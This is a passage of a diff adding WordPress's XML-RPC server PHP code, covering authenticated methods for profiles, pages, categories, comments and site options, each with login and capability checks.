+	 * @return array|IXR_Error (@see wp_getUser)
+	 */
+	public function wp_getProfile( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username   = $args[1];
+		$password   = $args[2];
+
+		if ( isset( $args[3] ) ) {
+			$fields = $args[3];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getProfile' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getProfile' );
+
+		if ( ! current_user_can( 'edit_user', $user->ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit your profile.' ) );
+
+		$user_data = get_userdata( $user->ID );
+
+		return $this->_prepare_user( $user_data, $fields );
+	}
+
+	/**
+	 * Edit user's profile.
+	 *
+	 * @uses wp_update_user()
+	 * @param array $args Method parameters. Contains:
+	 *  - int     $blog_id (unused)
+	 *  - string  $username
+	 *  - string  $password
+	 *  - array   $content_struct
+	 *      It can optionally contain:
+	 *      - 'first_name'
+	 *      - 'last_name'
+	 *      - 'website'
+	 *      - 'display_name'
+	 *      - 'nickname'
+	 *      - 'nicename'
+	 *      - 'bio'
+	 * @return bool|IXR_Error True, on success.
+	 */
+	public function wp_editProfile( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$content_struct = $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editProfile' );
+
+		if ( ! current_user_can( 'edit_user', $user->ID ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit your profile.' ) );
+
+		// holds data of the user
+		$user_data = array();
+		$user_data['ID'] = $user->ID;
+
+		// only set the user details if it was given
+		if ( isset( $content_struct['first_name'] ) )
+			$user_data['first_name'] = $content_struct['first_name'];
+
+		if ( isset( $content_struct['last_name'] ) )
+			$user_data['last_name'] = $content_struct['last_name'];
+
+		if ( isset( $content_struct['url'] ) )
+			$user_data['user_url'] = $content_struct['url'];
+
+		if ( isset( $content_struct['display_name'] ) )
+			$user_data['display_name'] = $content_struct['display_name'];
+
+		if ( isset( $content_struct['nickname'] ) )
+			$user_data['nickname'] = $content_struct['nickname'];
+
+		if ( isset( $content_struct['nicename'] ) )
+			$user_data['user_nicename'] = $content_struct['nicename'];
+
+		if ( isset( $content_struct['bio'] ) )
+			$user_data['description'] = $content_struct['bio'];
+
+		$result = wp_update_user( $user_data );
+
+		if ( is_wp_error( $result ) )
+			return new IXR_Error( 500, $result->get_error_message() );
+
+		if ( ! $result )
+			return new IXR_Error( 500, __( 'Sorry, the user cannot be updated.' ) );
+
+		return true;
+	}
+
+	/**
+	 * Retrieve page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - blog_id (unused)
+	 *  - page_id
+	 *  - username
+	 *  - password
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPage($args) {
+		$this->escape($args);
+
+		$page_id	= (int) $args[1];
+		$username	= $args[2];
+		$password	= $args[3];
+
+		if ( !$user = $this->login($username, $password) ) {
+			return $this->error;
+		}
+
+		$page = get_post($page_id);
+		if ( ! $page )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can( 'edit_page', $page_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit this page.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPage' );
+
+		// If we found the page then format the data.
+		if ( $page->ID && ($page->post_type == 'page') ) {
+			return $this->_prepare_page( $page );
+		}
+		// If the page doesn't exist indicate that.
+		else {
+			return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
+		}
+	}
+
+	/**
+	 * Retrieve Pages.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - blog_id (unused)
+	 *  - username
+	 *  - password
+	 *  - num_pages
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPages($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$num_pages	= isset($args[3]) ? (int) $args[3] : 10;
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit pages.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPages' );
+
+		$pages = get_posts( array('post_type' => 'page', 'post_status' => 'any', 'numberposts' => $num_pages) );
+		$num_pages = count($pages);
+
+		// If we have pages, put together their info.
+		if ( $num_pages >= 1 ) {
+			$pages_struct = array();
+
+			foreach ($pages as $page) {
+				if ( current_user_can( 'edit_page', $page->ID ) )
+					$pages_struct[] = $this->_prepare_page( $page );
+			}
+
+			return $pages_struct;
+		}
+
+		return array();
+	}
+
+	/**
+	 * Create new page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters. See {@link wp_xmlrpc_server::mw_newPost()}
+	 * @return int|IXR_Error
+	 */
+	public function wp_newPage($args) {
+		// Items not escaped here will be escaped in newPost.
+		$username	= $this->escape($args[1]);
+		$password	= $this->escape($args[2]);
+		$page		= $args[3];
+		$publish	= $args[4];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.newPage' );
+
+		// Mark this as content for a page.
+		$args[3]["post_type"] = 'page';
+
+		// Let mw_newPost do all of the heavy lifting.
+		return $this->mw_newPost( $args );
+	}
+
+	/**
+	 * Delete page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool|IXR_Error True, if success.
+	 */
+	public function wp_deletePage($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$page_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deletePage' );
+
+		// Get the current page based on the page_id and
+		// make sure it is a page and not a post.
+		$actual_page = get_post($page_id, ARRAY_A);
+		if ( !$actual_page || ($actual_page['post_type'] != 'page') )
+			return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
+
+		// Make sure the user can delete pages.
+		if ( !current_user_can('delete_page', $page_id) )
+			return new IXR_Error( 401, __( 'Sorry, you do not have the right to delete this page.' ) );
+
+		// Attempt to delete the page.
+		$result = wp_delete_post($page_id);
+		if ( !$result )
+			return new IXR_Error( 500, __( 'Failed to delete the page.' ) );
+
+		/**
+		 * Fires after a page has been successfully deleted via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $page_id ID of the deleted page.
+		 * @param array $args    An array of arguments to delete the page.
+		 */
+		do_action( 'xmlrpc_call_success_wp_deletePage', $page_id, $args );
+
+		return true;
+	}
+
+	/**
+	 * Edit page.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_editPage($args) {
+		// Items not escaped here will be escaped in editPost.
+		$page_id	= (int) $this->escape($args[1]);
+		$username	= $this->escape($args[2]);
+		$password	= $this->escape($args[3]);
+		$content	= $args[4];
+		$publish	= $args[5];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editPage' );
+
+		// Get the page data and make sure it is a page.
+		$actual_page = get_post($page_id, ARRAY_A);
+		if ( !$actual_page || ($actual_page['post_type'] != 'page') )
+			return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
+
+		// Make sure the user is allowed to edit pages.
+		if ( !current_user_can('edit_page', $page_id) )
+			return new IXR_Error( 401, __( 'Sorry, you do not have the right to edit this page.' ) );
+
+		// Mark this as content for a page.
+		$content['post_type'] = 'page';
+
+		// Arrange args in the way mw_editPost understands.
+		$args = array(
+			$page_id,
+			$username,
+			$password,
+			$content,
+			$publish
+		);
+
+		// Let mw_editPost do all of the heavy lifting.
+		return $this->mw_editPost( $args );
+	}
+
+	/**
+	 * Retrieve page list.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPageList($args) {
+		global $wpdb;
+
+		$this->escape($args);
+
+		$username				= $args[1];
+		$password				= $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit pages.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPageList' );
+
+		// Get list of pages ids and titles
+		$page_list = $wpdb->get_results("
+			SELECT ID page_id,
+				post_title page_title,
+				post_parent page_parent_id,
+				post_date_gmt,
+				post_date,
+				post_status
+			FROM {$wpdb->posts}
+			WHERE post_type = 'page'
+			ORDER BY ID
+		");
+
+		// The date needs to be formatted properly.
+		$num_pages = count($page_list);
+		for ( $i = 0; $i < $num_pages; $i++ ) {
+			$page_list[$i]->dateCreated = $this->_convert_date(  $page_list[$i]->post_date );
+			$page_list[$i]->date_created_gmt = $this->_convert_date_gmt( $page_list[$i]->post_date_gmt, $page_list[$i]->post_date );
+
+			unset($page_list[$i]->post_date_gmt);
+			unset($page_list[$i]->post_date);
+			unset($page_list[$i]->post_status);
+		}
+
+		return $page_list;
+	}
+
+	/**
+	 * Retrieve authors list.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getAuthors($args) {
+
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can('edit_posts') )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit posts on this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getAuthors' );
+
+		$authors = array();
+		foreach ( get_users( array( 'fields' => array('ID','user_login','display_name') ) ) as $user ) {
+			$authors[] = array(
+				'user_id'       => $user->ID,
+				'user_login'    => $user->user_login,
+				'display_name'  => $user->display_name
+			);
+		}
+
+		return $authors;
+	}
+
+	/**
+	 * Get list of all tags
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getTags( $args ) {
+		$this->escape( $args );
+
+		$username		= $args[1];
+		$password		= $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view tags.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getKeywords' );
+
+		$tags = array();
+
+		if ( $all_tags = get_tags() ) {
+			foreach( (array) $all_tags as $tag ) {
+				$struct = array();
+				$struct['tag_id']			= $tag->term_id;
+				$struct['name']				= $tag->name;
+				$struct['count']			= $tag->count;
+				$struct['slug']				= $tag->slug;
+				$struct['html_url']			= esc_html( get_tag_link( $tag->term_id ) );
+				$struct['rss_url']			= esc_html( get_tag_feed_link( $tag->term_id ) );
+
+				$tags[] = $struct;
+			}
+		}
+
+		return $tags;
+	}
+
+	/**
+	 * Create new category.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return int|IXR_Error Category ID.
+	 */
+	public function wp_newCategory($args) {
+		$this->escape($args);
+
+		$username				= $args[1];
+		$password				= $args[2];
+		$category				= $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.newCategory' );
+
+		// Make sure the user is allowed to add a category.
+		if ( !current_user_can('manage_categories') )
+			return new IXR_Error(401, __('Sorry, you do not have the right to add a category.'));
+
+		// If no slug was provided make it empty so that
+		// WordPress will generate one.
+		if ( empty($category['slug']) )
+			$category['slug'] = '';
+
+		// If no parent_id was provided make it empty
+		// so that it will be a top level page (no parent).
+		if ( !isset($category['parent_id']) )
+			$category['parent_id'] = '';
+
+		// If no description was provided make it empty.
+		if ( empty($category["description"]) )
+			$category["description"] = "";
+
+		$new_category = array(
+			'cat_name'				=> $category['name'],
+			'category_nicename'		=> $category['slug'],
+			'category_parent'		=> $category['parent_id'],
+			'category_description'	=> $category['description']
+		);
+
+		$cat_id = wp_insert_category($new_category, true);
+		if ( is_wp_error( $cat_id ) ) {
+			if ( 'term_exists' == $cat_id->get_error_code() )
+				return (int) $cat_id->get_error_data();
+			else
+				return new IXR_Error(500, __('Sorry, the new category failed.'));
+		} elseif ( ! $cat_id ) {
+			return new IXR_Error(500, __('Sorry, the new category failed.'));
+		}
+
+		/**
+		 * Fires after a new category has been successfully created via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $cat_id ID of the new category.
+		 * @param array $args   An array of new category arguments.
+		 */
+		do_action( 'xmlrpc_call_success_wp_newCategory', $cat_id, $args );
+
+		return $cat_id;
+	}
+
+	/**
+	 * Remove category.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return bool|IXR_Error See {@link wp_delete_term()} for return info.
+	 */
+	public function wp_deleteCategory($args) {
+		$this->escape($args);
+
+		$username		= $args[1];
+		$password		= $args[2];
+		$category_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deleteCategory' );
+
+		if ( !current_user_can('manage_categories') )
+			return new IXR_Error( 401, __( 'Sorry, you do not have the right to delete a category.' ) );
+
+		$status = wp_delete_term( $category_id, 'category' );
+
+		if ( true == $status ) {
+			/**
+			 * Fires after a category has been successfully deleted via XML-RPC.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param int   $category_id ID of the deleted category.
+			 * @param array $args        An array of arguments to delete the category.
+			 */
+			do_action( 'xmlrpc_call_success_wp_deleteCategory', $category_id, $args );
+		}
+
+		return $status;
+	}
+
+	/**
+	 * Retrieve category list.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_suggestCategories($args) {
+		$this->escape($args);
+
+		$username				= $args[1];
+		$password				= $args[2];
+		$category				= $args[3];
+		$max_results			= (int) $args[4];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts to this site in order to view categories.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.suggestCategories' );
+
+		$category_suggestions = array();
+		$args = array('get' => 'all', 'number' => $max_results, 'name__like' => $category);
+		foreach ( (array) get_categories($args) as $cat ) {
+			$category_suggestions[] = array(
+				'category_id'	=> $cat->term_id,
+				'category_name'	=> $cat->name
+			);
+		}
+
+		return $category_suggestions;
+	}
+
+	/**
+	 * Retrieve comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getComment($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$comment_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getComment' );
+
+		if ( ! $comment = get_comment($comment_id) )
+			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
+
+		return $this->_prepare_comment( $comment );
+	}
+
+	/**
+	 * Retrieve comments.
+	 *
+	 * Besides the common blog_id (unused), username, and password arguments, it takes a filter
+	 * array as last argument.
+	 *
+	 * Accepted 'filter' keys are 'status', 'post_id', 'offset', and 'number'.
+	 *
+	 * The defaults are as follows:
+	 * - 'status' - Default is ''. Filter by status (e.g., 'approve', 'hold')
+	 * - 'post_id' - Default is ''. The post where the comment is posted. Empty string shows all comments.
+	 * - 'number' - Default is 10. Total number of media items to retrieve.
+	 * - 'offset' - Default is 0. See {@link WP_Query::query()} for more.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error Contains a collection of comments. See {@link wp_xmlrpc_server::wp_getComment()} for a description of each item contents
+	 */
+	public function wp_getComments($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$struct		= isset( $args[3] ) ? $args[3] : array();
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 401, __( 'Sorry, you cannot edit comments.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getComments' );
+
+		if ( isset($struct['status']) )
+			$status = $struct['status'];
+		else
+			$status = '';
+
+		$post_id = '';
+		if ( isset($struct['post_id']) )
+			$post_id = absint($struct['post_id']);
+
+		$offset = 0;
+		if ( isset($struct['offset']) )
+			$offset = absint($struct['offset']);
+
+		$number = 10;
+		if ( isset($struct['number']) )
+			$number = absint($struct['number']);
+
+		$comments = get_comments( array('status' => $status, 'post_id' => $post_id, 'offset' => $offset, 'number' => $number ) );
+
+		$comments_struct = array();
+
+		foreach ( $comments as $comment ) {
+			$comments_struct[] = $this->_prepare_comment( $comment );
+		}
+
+		return $comments_struct;
+	}
+
+	/**
+	 * Delete a comment.
+	 *
+	 * By default, the comment will be moved to the trash instead of deleted.
+	 * See {@link wp_delete_comment()} for more information on
+	 * this behavior.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters. Contains:
+	 *  - blog_id (unused)
+	 *  - username
+	 *  - password
+	 *  - comment_id
+	 * @return bool|IXR_Error {@link wp_delete_comment()}
+	 */
+	public function wp_deleteComment($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$comment_ID	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this site.' ) );
+
+		if ( ! get_comment($comment_ID) )
+			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
+
+		if ( !current_user_can( 'edit_comment', $comment_ID ) )
+			return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deleteComment' );
+
+		$status = wp_delete_comment( $comment_ID );
+
+		if ( true == $status ) {
+			/**
+			 * Fires after a comment has been successfully deleted via XML-RPC.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param int   $comment_ID ID of the deleted comment.
+			 * @param array $args       An array of arguments to delete the comment.
+			 */
+			do_action( 'xmlrpc_call_success_wp_deleteComment', $comment_ID, $args );
+		}
+
+		return $status;
+	}
+
+	/**
+	 * Edit comment.
+	 *
+	 * Besides the common blog_id (unused), username, and password arguments, it takes a
+	 * comment_id integer and a content_struct array as last argument.
+	 *
+	 * The allowed keys in the content_struct array are:
+	 *  - 'author'
+	 *  - 'author_url'
+	 *  - 'author_email'
+	 *  - 'content'
+	 *  - 'date_created_gmt'
+	 *  - 'status'. Common statuses are 'approve', 'hold', 'spam'. See {@link get_comment_statuses()} for more details
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args. Contains:
+	 *  - blog_id (unused)
+	 *  - username
+	 *  - password
+	 *  - comment_id
+	 *  - content_struct
+	 * @return bool|IXR_Error True, on success.
+	 */
+	public function wp_editComment($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$comment_ID	= (int) $args[3];
+		$content_struct = $args[4];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this site.' ) );
+
+		if ( ! get_comment($comment_ID) )
+			return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
+
+		if ( !current_user_can( 'edit_comment', $comment_ID ) )
+			return new IXR_Error( 403, __( 'You are not allowed to moderate comments on this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editComment' );
+
+		if ( isset($content_struct['status']) ) {
+			$statuses = get_comment_statuses();
+			$statuses = array_keys($statuses);
+
+			if ( ! in_array($content_struct['status'], $statuses) )
+				return new IXR_Error( 401, __( 'Invalid comment status.' ) );
+			$comment_approved = $content_struct['status'];
+		}
+
+		// Do some timestamp voodoo
+		if ( !empty( $content_struct['date_created_gmt'] ) ) {
+			// We know this is supposed to be GMT, so we're going to slap that Z on there by force
+			$dateCreated = rtrim( $content_struct['date_created_gmt']->getIso(), 'Z' ) . 'Z';
+			$comment_date = get_date_from_gmt(iso8601_to_datetime($dateCreated));
+			$comment_date_gmt = iso8601_to_datetime($dateCreated, 'GMT');
+		}
+
+		if ( isset($content_struct['content']) )
+			$comment_content = $content_struct['content'];
+
+		if ( isset($content_struct['author']) )
+			$comment_author = $content_struct['author'];
+
+		if ( isset($content_struct['author_url']) )
+			$comment_author_url = $content_struct['author_url'];
+
+		if ( isset($content_struct['author_email']) )
+			$comment_author_email = $content_struct['author_email'];
+
+		// We've got all the data -- post it:
+		$comment = compact('comment_ID', 'comment_content', 'comment_approved', 'comment_date', 'comment_date_gmt', 'comment_author', 'comment_author_email', 'comment_author_url');
+
+		$result = wp_update_comment($comment);
+		if ( is_wp_error( $result ) )
+			return new IXR_Error(500, $result->get_error_message());
+
+		if ( !$result )
+			return new IXR_Error(500, __('Sorry, the comment could not be edited. Something wrong happened.'));
+
+		/**
+		 * Fires after a comment has been successfully updated via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $comment_ID ID of the updated comment.
+		 * @param array $args       An array of arguments to update the comment.
+		 */
+		do_action( 'xmlrpc_call_success_wp_editComment', $comment_ID, $args );
+
+		return true;
+	}
+
+	/**
+	 * Create new comment.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return int|IXR_Error {@link wp_new_comment()}
+	 */
+	public function wp_newComment($args) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$post		= $args[3];
+		$content_struct = $args[4];
+
+		/**
+		 * Filter whether to allow anonymous comments over XML-RPC.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param bool $allow Whether to allow anonymous commenting via XML-RPC.
+		 *                    Default false.
+		 */
+		$allow_anon = apply_filters( 'xmlrpc_allow_anonymous_comments', false );
+
+		$user = $this->login($username, $password);
+
+		if ( !$user ) {
+			$logged_in = false;
+			if ( $allow_anon && get_option('comment_registration') )
+				return new IXR_Error( 403, __( 'You must be registered to comment' ) );
+			else if ( !$allow_anon )
+				return $this->error;
+		} else {
+			$logged_in = true;
+		}
+
+		if ( is_numeric($post) )
+			$post_id = absint($post);
+		else
+			$post_id = url_to_postid($post);
+
+		if ( ! $post_id )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! get_post($post_id) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		$comment = array();
+		$comment['comment_post_ID'] = $post_id;
+
+		if ( $logged_in ) {
+			$comment['comment_author'] = $this->escape( $user->display_name );
+			$comment['comment_author_email'] = $this->escape( $user->user_email );
+			$comment['comment_author_url'] = $this->escape( $user->user_url );
+			$comment['user_ID'] = $user->ID;
+		} else {
+			$comment['comment_author'] = '';
+			if ( isset($content_struct['author']) )
+				$comment['comment_author'] = $content_struct['author'];
+
+			$comment['comment_author_email'] = '';
+			if ( isset($content_struct['author_email']) )
+				$comment['comment_author_email'] = $content_struct['author_email'];
+
+			$comment['comment_author_url'] = '';
+			if ( isset($content_struct['author_url']) )
+				$comment['comment_author_url'] = $content_struct['author_url'];
+
+			$comment['user_ID'] = 0;
+
+			if ( get_option('require_name_email') ) {
+				if ( 6 > strlen($comment['comment_author_email']) || '' == $comment['comment_author'] )
+					return new IXR_Error( 403, __( 'Comment author name and email are required' ) );
+				elseif ( !is_email($comment['comment_author_email']) )
+					return new IXR_Error( 403, __( 'A valid email address is required' ) );
+			}
+		}
+
+		$comment['comment_parent'] = isset($content_struct['comment_parent']) ? absint($content_struct['comment_parent']) : 0;
+
+		$comment['comment_content'] =  isset($content_struct['content']) ? $content_struct['content'] : null;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.newComment' );
+
+		$comment_ID = wp_new_comment( $comment );
+
+		/**
+		 * Fires after a new comment has been successfully created via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param int   $comment_ID ID of the new comment.
+		 * @param array $args       An array of new comment arguments.
+		 */
+		do_action( 'xmlrpc_call_success_wp_newComment', $comment_ID, $args );
+
+		return $comment_ID;
+	}
+
+	/**
+	 * Retrieve all of the comment status.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getCommentStatusList($args) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'moderate_comments' ) )
+			return new IXR_Error( 403, __( 'You are not allowed access to details about this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getCommentStatusList' );
+
+		return get_comment_statuses();
+	}
+
+	/**
+	 * Retrieve comment count.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getCommentCount( $args ) {
+		$this->escape($args);
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$post_id	= (int) $args[3];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 403, __( 'You are not allowed access to details about comments.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getCommentCount' );
+
+		$count = wp_count_comments( $post_id );
+		return array(
+			'approved' => $count->approved,
+			'awaiting_moderation' => $count->moderated,
+			'spam' => $count->spam,
+			'total_comments' => $count->total_comments
+		);
+	}
+
+	/**
+	 * Retrieve post statuses.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPostStatusList( $args ) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_posts' ) )
+			return new IXR_Error( 403, __( 'You are not allowed access to details about this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPostStatusList' );
+
+		return get_post_statuses();
+	}
+
+	/**
+	 * Retrieve page statuses.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPageStatusList( $args ) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 403, __( 'You are not allowed access to details about this site.' ) );
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPageStatusList' );
+
+		return get_page_statuses();
+	}
+
+	/**
+	 * Retrieve page templates.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getPageTemplates( $args ) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		if ( !current_user_can( 'edit_pages' ) )
+			return new IXR_Error( 403, __( 'You are not allowed access to details about this site.' ) );
+
+		$templates = get_page_templates();
+		$templates['Default'] = 'default';
+
+		return $templates;
+	}
+
+	/**
+	 * Retrieve blog options.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function wp_getOptions( $args ) {
+		$this->escape( $args );
+
+		$username	= $args[1];
+		$password	= $args[2];
+		$options	= isset( $args[3] ) ? (array) $args[3] : array();
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		// If no specific options where asked for, return all of them
+		if ( count( $options ) == 0 )
+			$options = array_keys($this->blog_options);
+
+		return $this->_getOptions($options);
+	}
+
+	/**
